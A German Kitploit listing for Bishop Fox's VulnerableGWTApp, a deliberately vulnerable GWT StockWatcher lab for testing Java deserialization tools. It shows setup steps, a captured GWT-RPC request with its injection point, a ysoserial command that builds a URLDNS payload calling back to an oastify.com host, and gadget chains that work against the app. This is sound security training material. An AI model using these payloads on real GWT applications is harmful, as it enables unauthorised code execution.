Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
VulnerableGWTApp — Eine absichtlich verwundbare GWT-basierte Webanwendung zum Testen von Werkzeugen und Techniken. | Kitploit
Tools/GitHubGitHub/bishopfox/vulnerablegwtapp
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & BildungLabs & Praxis
GitHubbishopfox/vulnerablegwtapp

VulnerableGWTApp

Eine absichtlich verwundbare GWT-basierte Webanwendung zum Testen von Werkzeugen und Techniken.

Repository anzeigen
5vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Verwundbare GWT-Webanwendung

Dies ist eine Version der im GWT-Erste-Schritte-Leitfaden beschriebenen Beispielanwendung StockWatcher, die so modifiziert wurde, dass sie die Funktion „enhanced classes“ von GWT verwendet und dadurch für einen Java-Deserialisierungsangriff anfällig ist. Sie sollte nur zum Testen von Erkennungs- und Exploit-Werkzeugen verwendet werden. Enhanced Classes werden häufig in realen GWT-basierten Anwendungen eingesetzt, aber bis zur Veröffentlichung dieses Beispiels gab es keine leicht auffindbaren Open-Source-Webanwendungen, mit denen Sicherheitsexperten ihre Werkzeuge und Verfahren validieren konnten.

Die Ausnutzung GWT-basierter Anwendungen wird im Bishop-Fox-Blogbeitrag „GWT: An Eight-Year-Old Unpatched Java Deserialization Vulnerability“ behandelt.

Ausführen der Webanwendung

Zum Ausführen der Webanwendung benötigen Sie ein Linux-System mit den folgenden Werkzeugen:

  • Die vollständige Version der OpenJDK-11-JRE, nicht die Headless-Version – z. B. auf Debian-basierten Distributionen das Paket openjdk-11-jre installieren
  • ant (über den Paketmanager Ihrer Distribution installieren)
  • Version 2.10.0 des GWT-SDK

Schnellstart

Die Anwendung benötigt eine Reihe von JAR-Dateien, die zu groß sind, um sie direkt in die GitHub-Quellcodeverwaltung aufzunehmen. Der einfachste Einstieg ist daher, das neueste Paket von der Release-Seite herunterzuladen und zu entpacken.

Nachdem Sie das Release entpackt haben, bearbeiten Sie diese Zeile in build.xml, um /home/user/GWT/gwt-2.10.0 durch Ihr GWT-SDK-Verzeichnis zu ersetzen:

Führen Sie im Quellcode-Verzeichnis die folgenden Befehle aus:

root@kitploit:~
ant build
ant devmode

Dadurch wird die verwundbare Webanwendung gestartet und unter http://127.0.0.1:8888/StockWatcher.html erreichbar gemacht.

Beachten Sie, dass Sie zusätzlich zu Port 8888 auch Port 9876 weiterleiten sollten, wenn Sie den Datenverkehr zum lokalen Dienst weiterleiten, um ihn remote erreichbar zu machen.

Direktes Ausführen mit dem Code in diesem Repository

Wenn Sie dieses Repository klonen und die Anwendung ohne das Herunterladen eines Releases ausführen möchten, müssen Sie nach dem Klonen die folgenden JAR-Dateien von Drittanbietern herunterladen und in das Verzeichnis lib einfügen:

  • aspectjweaver-1.9.2.jar
  • commons-collections-3.2.2.jar
  • javax.persistence.jar
  • jboss-as-connector-7.1.3.final.jar
  • jdo-api-3.2.1.jar
  • jpa-annotations-source.jar
  • junit-vintage-engine-5.10.0.jar
  • jython-standalone-2.7.3.jar

Außerdem müssen Sie die folgenden GWT-JAR-Dateien aus Ihrem GWT-Verzeichnis (z. B. gwt-2.10.0/) in das lib-Verzeichnis dieser verwundbaren Anwendung kopieren:

  • gwt-dev.jar
  • gwt-servlet.jar
  • gwt-user.jar
  • validation-api-1.0.0.GA.jar
  • validation-api-1.0.0.GA-sources.jar

Nachdem Sie alle diese JAR-Dateien kopiert haben, führen Sie die übrigen Schritte aus dem obigen Abschnitt „Schnellstart“ aus.

Ausnutzen der Webanwendung

Laden Sie mit einem Webbrowser, der für die Verbindung über einen Intercepting-Proxy (z. B. Burp Suite) konfiguriert ist, die URL http://127.0.0.1:8888/StockWatcher.html.

Die Seite zeigt zunächst eine Meldung „compiling“ an. Warten Sie, bis sie dieses grundlegende Formular anzeigt:

[ Die StockWatcher-Web-App zeigt ein Feld zum Hinzufügen eines Aktiensymbols an ]

Geben Sie eine kurze Zeichenfolge in das Feld ein, z. B. BFOX, und klicken Sie dann auf die Schaltfläche Add. Die Seite sollte daraufhin zufällige Aktualisierungen für das simulierte Aktiensymbol anzeigen:

[ Die StockWatcher-Web-App zeigt simulierte Kursdaten für das Symbol BFOX an ]

Beachten Sie im Verlauf Ihres Intercepting-Proxys, dass Ihr Browser nun wiederholt POST-Anfragen an http://127.0.0.1:8888/stockwatcher/checkCustomClass1 sendet, ähnlich wie die folgende:

root@kitploit:~
POST /stockwatcher/checkCustomClass1 HTTP/1.1
Host: 127.0.0.1:8888
...omitted for brevity...

7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|

Die Base64-codierten Binärdaten rO0ABXcEAAAAAA== sind ein verwundbarer Injektionspunkt in der Anfrage. Um die Webanwendung auszunutzen, müssen Sie einen Ersatz-Payload erzeugen. Um beispielsweise einen URLDNS-Payload mit Bishop Fox' angepasster Version von ysoserial zu erzeugen, können Sie den folgenden Befehl ausführen:

root@kitploit:~
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
  --gwt bishopfox \
  URLDNS "https://dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
  | base64 -w0 | sed 's/+/\$/g' | sed 's./._.g' > gwt_urldns.bin.gwt_b64

Senden Sie eine modifizierte Version der Anfrage, die rO0ABXcEAAAAAA== durch Ihren generierten Payload ersetzt. Die verwundbare Anwendung sollte diesen dann deserialisieren und auslösen. Zusätzlich zu der jeweiligen Aktion, die der Payload verursacht, sollte die Antwort auch eine NoSuchFieldException in Bezug auf den Feldnamen enthalten, wenn der Wert deserialisiert wurde, z. B. unter Verwendung des Namens bishopfox aus dem obigen Beispiel:

root@kitploit:~
HTTP/1.1 200 OK
Connection: close
...omitted for brevity...

//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]

Wenn Sie das vorgefertigte Release der verwundbaren Webanwendung verwendet oder alle oben genannten JARs manuell zu einem eigenen Build hinzugefügt haben, sollten Sie (mindestens) die folgenden Payloads gegen die Webanwendung verwenden können:

  • AspectJWeaver
  • Jython2
  • Jython3

Zum Zeitpunkt der Erstellung dieses Textes unterstützte die Hauptversion von ysoserial keine GWT-formatierten Ausgaben. Verwenden Sie daher unbedingt den angepassten Fork.

Tool herunterladen